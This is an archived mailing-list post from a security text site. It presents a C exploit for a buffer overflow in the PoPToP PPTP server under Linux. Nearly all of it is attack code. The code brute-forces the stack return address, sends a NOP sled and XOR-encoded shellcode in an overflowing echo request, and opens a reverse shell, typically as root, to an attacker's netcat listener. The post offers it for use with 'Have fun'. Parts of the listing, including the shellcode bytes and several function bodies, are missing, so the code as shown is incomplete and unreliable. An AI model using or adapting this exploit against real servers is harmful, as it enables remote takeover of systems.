Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!

TUCoPS :: Linux :: Apps A-M :: bt12.txt

Exploit for PoPToP PPTP server

hello bugtraq,

Here is an exploit for a recently discovered vulnerability in PoPToP
PPTP server under Linux. Versions affected are all prior to
1.1.4-b3 and 1.1.3-20030409.
The exploit is capable of bruteforcing the RET address to find our
buffer in the stack. Upon a successfull run it brings up a reverse
shell with privileges of the pptpd daemon (typically root)
on the victim server.

Have fun,

einstein, dH team

P.S. Greets to ERRor, Death and all others.

Exploit code (compiles on win32):

---------------- Cut ---------------------
#include <iostream.h>
#include <winsock.h>
#include <stdio.h>

#define u_int8_t char
#define u_int16_t WORD
#define u_int32_t DWORD

char shellcode[] =


"\x01\x01" // port


"\x01\x01\x01\x01" // ip address


struct pptp_header {
        u_int16_t length;               /* pptp message length incl header */
        u_int16_t pptp_type;            /* pptp message type */
        u_int32_t magic;                /* magic cookie */
        u_int16_t ctrl_type;            /* control message type */
        u_int16_t reserved0;            /* reserved */

#define MAX_HOSTNAME_SIZE               64
#define MAX_VENDOR_SIZE                 64
#define PPTP_VERSION                    0x0100

struct pptp_start_ctrl_conn_rqst {
        struct pptp_header header;      /* pptp header */
        u_int16_t version;              /* pptp protocol version */
        u_int16_t reserved1;            /* reserved */
        u_int32_t framing_cap;          /* framing capabilities */
        u_int32_t bearer_cap;           /* bearer capabilities */
        u_int16_t max_channels;         /* maximum channels */
        u_int16_t firmware_rev;         /* firmware revision */
        u_int8_t hostname[MAX_HOSTNAME_SIZE];   /* hostname */
        u_int8_t vendor[MAX_VENDOR_SIZE];       /* vendor */

struct pptp_echo_rqst {
        struct pptp_header header;      /* header */
        u_int32_t identifier;           /* value to match rply with rqst */
                                char buf[10000];

struct pptp_reply {
        struct pptp_header header;      /* header */
                                char buf[10000];

/* Magic Cookie */
#define PPTP_MAGIC_COOKIE               0x1a2b3c4d

/* Message types */
#define PPTP_CTRL_MESSAGE               1

/* Control Connection Management */
#define START_CTRL_CONN_RQST            1
#define START_CTRL_CONN_RPLY            2
#define STOP_CTRL_CONN_RQST             3
#define STOP_CTRL_CONN_RPLY             4
#define ECHO_RQST                       5
#define ECHO_RPLY                       6

// brute force values
#define TOPOFSTACK 0xbfffffff
#define BOTTOMOFSTACK 0xbf000000
#define STEP 50

void send_init_request(SOCKET st)
        pptp_start_ctrl_conn_rqst request;
  request.header.magic = htonl(PPTP_MAGIC_COOKIE);
  request.header.pptp_type = htons(PPTP_CTRL_MESSAGE);
        request.header.ctrl_type = htons(START_CTRL_CONN_RQST);

  request.version = PPTP_VERSION;
        request.framing_cap = 0;
        request.bearer_cap = 0;
        request.max_channels = 1;
        request.firmware_rev = 0;
        strcpy(request.vendor,"domain HELL");
  request.header.length = ntohs(sizeof(request));



void send_ping_overflow(SOCKET st,DWORD ret,char* hostname,short port)
  pptp_echo_rqst ping;
        ping.header.magic = htonl(PPTP_MAGIC_COOKIE);
  ping.header.pptp_type = htons(PPTP_CTRL_MESSAGE);
        ping.header.ctrl_type = htons(ECHO_RQST);
        ping.identifier = 111;

        ping.header.length = ntohs(1);
        int buflen = 500;
        for (int i=0;i<buflen;i++)strcat(ping.buf,"\x90");      

        // patch shellcode
        // we have a shellcode xored by 0x93.. let's unxor it :)
        for (i=0;i<sizeof(shellcode);i++) shellcode[i] ^= 0x93;

        *(unsigned short int*)(shellcode+43) = htons(port);
  *(unsigned long int*)(shellcode+48) = inet_addr(hostname);

        // we leave 100 bytes for NOPs


int connect_server(char* hostname)
        if (st==INVALID_SOCKET) return 0;

        sockaddr_in addr;

        bind(st, (LPSOCKADDR)&addr,sizeof(addr));
        printf("connecting... ");
        if (connect(st,(sockaddr*)&addr,sizeof(addr)) != 0)
                printf("Connect error. GetLastError=%d\n",GetLastError());
                return 0;
        return 1;

int main(int argc, char** argv)
        printf("                   D  H     H                            \n");
        printf("                   D  H     H     T\n");
        printf("                   D  H  H  H     T     EE    AA   M   M \n");
        printf("               DDD D  HHHHHHH     T    E  E  A  A  MM MM \n");
        printf("              D   DD  H  H  H    TTTT  E  E  A  A  MM MM \n");
        printf("             D     D  H     H     T    EEE   AAAA  M M M \n");
        printf("              D    D  H     H     T    E     A  A  M   M \n");
        printf("               DDDD   H     H      TTT  EEE  A  A  M   M   ");
        printf(" ... presents ... \n\n");
  printf("Exploit for PoPToP PPTP server older than \n1.1.4-b3 and 1.1.3-20030409 under Linux.\n");
        printf("by .einstein., April 2003.\n");
  if (argc < 2)
                printf("usage: \n");
                printf("  %s <pptp_server> [<your_ip>] [<your_port>] [<timeout>]\n\n",argv[0]);
                printf("    <pptp_server> is the ip address or hostname of the PoPToP server\n");
                printf("      you want to attack.  Port 1723 is used for connection\n");
                printf("    <your_ip> and <your_port> - specify an ip address to which\n");
                printf("      a connection is possible to port <your_port> and set up a\n");
                printf("      netcat listener. You'll get a reverse shell.\n");
                printf("    <timeout> is a delay between stack bruteforce attemts, in milliseconds\n");
                printf("   If you only pass a single parameter, the program will check\n");
                printf("   whether remote server is vulnerable or not. Otherwise it will\n");
                printf("   perform a ret bruteforce.\n");
                printf("usage examples:\n");
                printf("  %s 5555\n",argv[0]);
                printf("    attack and get a reverse shell on port 5555\n");
          printf("  %s 6666 100\n",argv[0]);
                printf("    attack a locally running pptpd with a timeout of 100 ms\n");
                printf("    and get a shell on port 6666.\n");
                printf("  %s\n",argv[0]);
                printf("    check if the PoPToP server on is vulnerable.\n");
    return 0;

  int timeout = 500;
  if (argc >= 5) timeout = atoi(argv[4]);

        // init winsock
        WORD version=0x0101;
  WSADATA data;

        DWORD ret;
        if (argc == 2)
                if (!connect_server(argv[1])) return 1;

                printf("\nChecking if the server is vulnerable..\n");
                printf("(if it is you have to wait 65 seconds)..\n");

                ret = 0x01010101;
                int bytes;
                pptp_reply reply;
                //header length
                bytes = recv(st,(char*)&reply,2,0);
                bytes = ntohs(reply.header.length);
                bytes = recv(st,(char*)&reply+2,bytes-2,0);
                int j = htons(reply.header.ctrl_type);
                //header length
                bytes = recv(st,(char*)&reply,2,0);
                printf("PoPToP server is ");
                if (bytes != SOCKET_ERROR) printf("vulnerable!\n");
                else printf("not vulnerable\n");

                return 1;

        printf("[!] Attempting bruteforce against %s\n",argv[1]);
        printf("interrupt when you get a shell to %s on port %d...\n\n",argv[2],atoi(argv[3]));
        int checked = 0;
        for (ret = TOPOFSTACK; ret >=BOTTOMOFSTACK; ret -= STEP)
          printf("[*] ");
                if (!connect_server(argv[1])) return 1;
        printf("sending payload..");
                // initial packet

                //a real overflowing ping packet

        return 0;

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH